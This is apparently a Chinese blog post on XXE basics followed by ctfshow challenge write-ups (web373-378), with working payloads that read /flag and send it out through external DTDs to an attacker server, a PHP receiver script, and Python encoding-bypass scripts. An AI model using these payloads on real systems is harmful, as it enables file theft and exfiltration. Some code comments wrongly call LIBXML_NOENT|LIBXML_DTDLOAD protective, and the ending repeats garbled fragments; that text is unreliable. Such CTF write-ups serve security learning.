xxe的学习记录以及ctfshow——xxe模块的练习
XXE的学习记录以及ctfshow_XXE模块练习
XXE的学习
1.什么是xxe
XXE(XML External Entity)即XML外部实体攻击。
2.xml基础知识
xxe就是用来攻击xml文档的,所以这里我们先了解一下什么是xml文档
XML(Extensible Markup Language)是一种用于描述数据的标记语言,它被广泛应用于各种类型的数据交换和存储,尤其在Web服务和应用程序中。XML使用标记(tag)来标识数据,类似于HTML,但XML更为通用,可以用于描述任何类型的数据。
XML的语法定义了一种结构化的数据格式,可以通过自定义标签来描述数据的结构和属性,同时支持嵌套和分层结构。XML还支持命名空间(namespace)和DTD(Document Type Definition)等功能,用于描述XML文档的结构和语义。这使得XML成为一种非常灵活和可扩展的数据描述语言,可以满足各种不同领域和应用的需求。
这里举一个最简单的XML例子
<person>
<name>张三</name>
<age>20</age>
<gender>男</gender>
</person>
这个XML文档中有一个名为person
的顶级元素,包含了三个子元素name
、age
和gender
,分别表示人的姓名、年龄和性别。每个元素都由一个开始标记和一个结束标记组成,用于标识元素的开始和结束位置,同时可以用属性来描述元素的额外信息。
这个XML示例展示了XML的一些主要特点:结构化、可嵌套、可扩展和具有语义描述能力。它使得数据的处理和解析更为方便和灵活,适用于各种不同类型的数据交换和存储场景。
3.xml的构造模块
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成
- 元素
- 属性
- 实体
- PCDATA
- CDATA
1.元素
元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。
实例:
<body>body text in between</body>
<message>some message in between</message>
空的 HTML 元素的例子是 “hr”、“br” 以及 “img”。
2,属性
属性可提供有关元素的额外信息
实例:
<img src="computer.gif" />
3,实体
实体是用来定义普通文本的变量。实体引用是对实体的引用。
4,PCDATA(Parsed Character Data)会被解析器解析的文本
PCDATA 的意思是被解析的字符数据。
PCDATA 是会被解析器解析的文本。
它是指XML中的普通文本内容,包括所有不是元素、注释、处理指令和CDATA的文本内容。在解析XML文档时,解析器会将PCDATA转换成适当的数据类型,例如将数字字符串转换成数字类型,将实体引用转换成对应的字符等。
5,CDATA(Unparsed Character Data)不会被解析器解析的文本
CDATA 的意思是无法被解析的字符数据。
CDATA 是不会被解析器解析的文本。
被用于包含一些特殊的字符和标记,以避免它们被解析器解析,例如在XML文档中包含JavaScript代码块或HTML代码块。在CDATA块中,这些内容可以以原始形式出现,而不需要使用实体引用进行转义,从而避免了由于实体引用转换导致的错误。
4.DTD(文档类型定义)
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
1,内部声明: ex: <!DOCTYOE test any>
完整实例:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
2,外部声明(引用外部DTD): ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
完整实例:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
而note.dtd的内容为:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
以上就是xml的基本知识了,接下来看一看xxe的实现
引用外部 DTD 的格式是在 XML 文档的 DOCTYPE 声明中指定 DTD 文件的位置。有两种方式来引用外部 DTD:
- 使用系统标识符(System Identifier):
<!DOCTYPE 根元素名 SYSTEM "DTD文件的URI">
其中,根元素名
是 XML 文档中的根元素的名称,DTD文件的URI
是外部 DTD 文件的位置,可以是一个绝对路径或者相对路径,也可以是一个 URL。
- 使用公共标识符(Public Identifier)和系统标识符:
<!DOCTYPE 根元素名 PUBLIC "公共标识符" "系统标识符">
其中,公共标识符
是一个唯一标识符,用于标识 DTD 的特定版本或者类型,而 系统标识符
则是外部 DTD 文件的位置。
需要注意的是,使用外部 DTD 文件时,可以选择使用系统标识符或公共标识符来引用,具体取决于 DTD 文件的发布和使用情况。使用外部 DTD 文件可以提高 DTD 的重用性和维护性,尤其适用于多个 XML 文档共享同一个 DTD 的情况。
这两个标识符有什么区别,通常用哪个
公共标识符(Public Identifier)和系统标识符(System Identifier)是两种不同的方式来标识和引用外部 DTD。
- 公共标识符是一个唯一的标识符,用于标识 DTD 的特定版本或类型。它通常是一个由某个标准组织或共享社区定义的标识符,用于确保不同的文档可以引用相同的 DTD 版本。公共标识符常常采用类似于 “-//W3C//DTD XHTML 1.0 Transitional//EN” 的格式。
- 系统标识符是外部 DTD 文件的位置信息,可以是一个 URI(Uniform Resource Identifier),表示 DTD 文件的网络位置,或者是一个本地文件路径,表示 DTD 文件在本地文件系统的位置。
通常情况下,使用公共标识符和系统标识符是根据具体的需求和使用情况来决定的。如果一个 DTD 是公共的、标准化的,并且有一个唯一的公共标识符,那么使用公共标识符可以确保多个文档引用相同的 DTD 版本。如果 DTD 文件在本地文件系统上可用,并且没有特定的公共标识符,那么可以使用系统标识符来引用本地的 DTD 文件。
总之,选择使用公共标识符还是系统标识符取决于 DTD 的发布和使用情况,以及与其他文档的兼容性和一致性需求。
ctfshow——xxe模块的练习
1.web373
题目给出源码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
//函数本来是用于禁止加载外部实体的,但是值是false,所以这里是允许加载外部实体
$xmlfile = file_get_contents('php://input');
//使用file_get_contents函数从php://input流(从HTTP请求体中读取数据)中读取XML文件的内容,并将其存储在变量$xmlfile中。这个流是用于从客户端传递数据到服务器端的。
if(isset($xmlfile)){
$dom = new DOMDocument();
//使用DOMDocument类来解析XML文件并将其存储在变量$dom中。
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
//loadXML方法是用于解析XML文档的,其中LIBXML_NOENT和LIBXML_DTDLOAD是用于防止XXE攻击的安全选项。这样设置可以防止外部实体被加载,从而避免了安全漏洞。
$creds = simplexml_import_dom($dom);
//simplexml_import_dom函数将DOM文档转换为SimpleXMLElement对象,并将其存储在变量$creds中。这个函数的作用是将DOM文档转换为更容易处理的形式,以便我们可以轻松地提取其中的元素和属性。
$ctfshow = $creds->ctfshow;
echo $ctfshow;
//从$creds变量中提取ctfshow元素的内容,并将其输出到浏览器中。如果ctfshow元素不存在,则不会输出任何内容。
}
highlight_file(__FILE__);
因此,我们要将传入的ctfshow元素内容设置为我们想要的内容,payload如下:
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<ikun>
<ctfshow>&xxe;</ctfshow>
</ikun>
DTD 被用作外部实体引用。当这个 DTD 被引用时,实体 xxe
会被展开,它的值是 file:///flag
,表示要读取主机上的 flag
文件。
因此,如果这个 DTD 被成功引用并且 XML 解析器对实体引用进行了展开,那么将会尝试读取主机上的 flag
文件。这可能导致恶意用户访问和读取系统上的敏感文件,包括配置文件、密码文件等。
需要注意的是,这个示例中的代码是具有安全风险的,并且可能会导致严重的安全问题。在真实环境中,不应该允许加载外部实体或者引用未经验证的 DTD 文件,以防止发生类似的漏洞和攻击。
抓包传入该payload
得到flag
2.web374、375、376
源代码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
//允许加载外部实体
$xmlfile = file_get_contents('php://input');
//从php://input流中获取数据
if(isset($xmlfile)){
$dom = new DOMDocument();
//用DOMDocument类来解析XML文件并将其存储在变量$dom中
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
//loadXML方法是用于解析XML文档的,其中LIBXML_NOENT和LIBXML_DTDLOAD是用于防止XXE攻击的安全选项。这样设置可以防止外部实体被加载,从而避免了安全漏洞。
}
highlight_file(__FILE__);
这列比较上一关没有明显的输出函数以及判断条件了
所以传入的xml中就要完成这个功能
没有回显,所以我们要想方法去接收到回显,例如在我们的服务器上,因此可以使用如下payload
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxx/test.dtd">
%aaa;
]>
<root>1</root>
test.dtd上的内容为
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://xxx:10086/%file;'> ">
%dtd;
%xxe;
在 XML 中,实体引用的形式可以是 %
(十六进制)或 %
(十进制),两者都表示字符 ‘%’ 的实体引用。
使用 %
的形式,如 %dtd;
和 %xxe;
,是一种特殊的实体引用,被称为参数实体引用。参数实体引用以 %
开头,后面跟着实体名称。在定义参数实体时,可以使用 %
开头的实体引用来引用其他实体。
需要注意的是,对于一般的实体引用,如 %
或 %
,可以在 XML 文档中的任何位置使用,而不仅限于参数实体引用的定义中。但是,参数实体引用只能在 DTD 的定义部分使用。
总结起来,使用 %
的形式是参数实体引用的一种特殊用法,用于引用其他实体。而一般的实体引用可以使用 %
或 %
,两者都表示字符 ‘%’ 的实体引用。在具体使用时,可以根据需要选择合适的实体引用形式。
写自己服务器的ip地址
然后监听自己开的端口号
将截取到的信息解码即可
同时这里还有一种方法,是将其直接输出到一个文件里
在公网上上创建1.php,内容:
<?php
file_put_contents("test.txt", $_GET['file']) ;
?>
创建xxe.dtd文件:
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://[vps-ip]/1.php?file=%file;'> ">
%dtd;
%xxe;
payload:
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://[vps-ip]/xxe.dtd">
%aaa;
]>
<root>123</root>
来捋捋思路
payload中创建两个实体 通过%aaa访问了xxe.dtd
然后在xxe.dtd中引用了1.php,在1.php中实现了将get传入的file值输出在text.txt中,此时的get值就是payload中定义的file的实体的值,也就是说这里实现了对于flag文件的读取并且传递值给了file变量
3.web377
源代码
<?php
libxml_disable_entity_loader(false);//允许加载外部实体
$xmlfile = file_get_contents('php://input');//input协议获取内容传递给xmlfile变量
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile))//黑名单,ban了<xml version="1.0" 和 http
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
主要是ban掉了http
这里选择编码绕过,前面的方式不变,发送请求时使用python进行编码后发送,python中写
import requests
url = 'http://744be958-9364-4c33-aebe-2dc846a3d50f.challenge.ctf.show/'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://47.113.225.37/xxe.dtd">
%dtd;
%send;
] >"""
requests.post(url ,data=data.encode('utf-16'))
print("done!")
或者将编码后的内容直接用bp传也行
然后这里也不清楚为什么用16编码
让gpt写了一个爆破的脚本
import requests
url = 'http://744be958-9364-4c33-aebe-2dc846a3d50f.challenge.ctf.show/'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://47.113.225.37/xxe.dtd">
%dtd;
%send;
] >"""
# 定义要尝试的编码方式列表
encoding_list = ['utf-8', 'utf-16', 'ascii', 'latin1', 'gbk', 'gb2312', 'shift_jis', 'euc_jp']
for encoding in encoding_list:
try:
# 对数据按照指定的编码方式进行编码
encoded_data = data.encode(encoding)
# 发起 POST 请求
response = requests.post(url, data=encoded_data)
print(f"Encoding: {encoding}, Response: {response.text}")
except Exception as e:
print(f"Error occurred with encoding {encoding}: {e}")
print("Done!")
4.web378
一个登录框,抓包看了下数据,随便传一下就好了
encoded_data = data.encode(encoding)
# 发起 POST 请求
response = requests.post(url, data=encoded_data)
print(f"Encoding: {encoding}, Response: {response.text}")
except Exception as e:
print(f"Error occurred with encoding {encoding}: {e}")
print(“Done!”)
## 4.web378
一个登录框,抓包看了下数据,随便传一下就好了
[外链图片转存中...(img-bO3q5tn6-1684893710425)]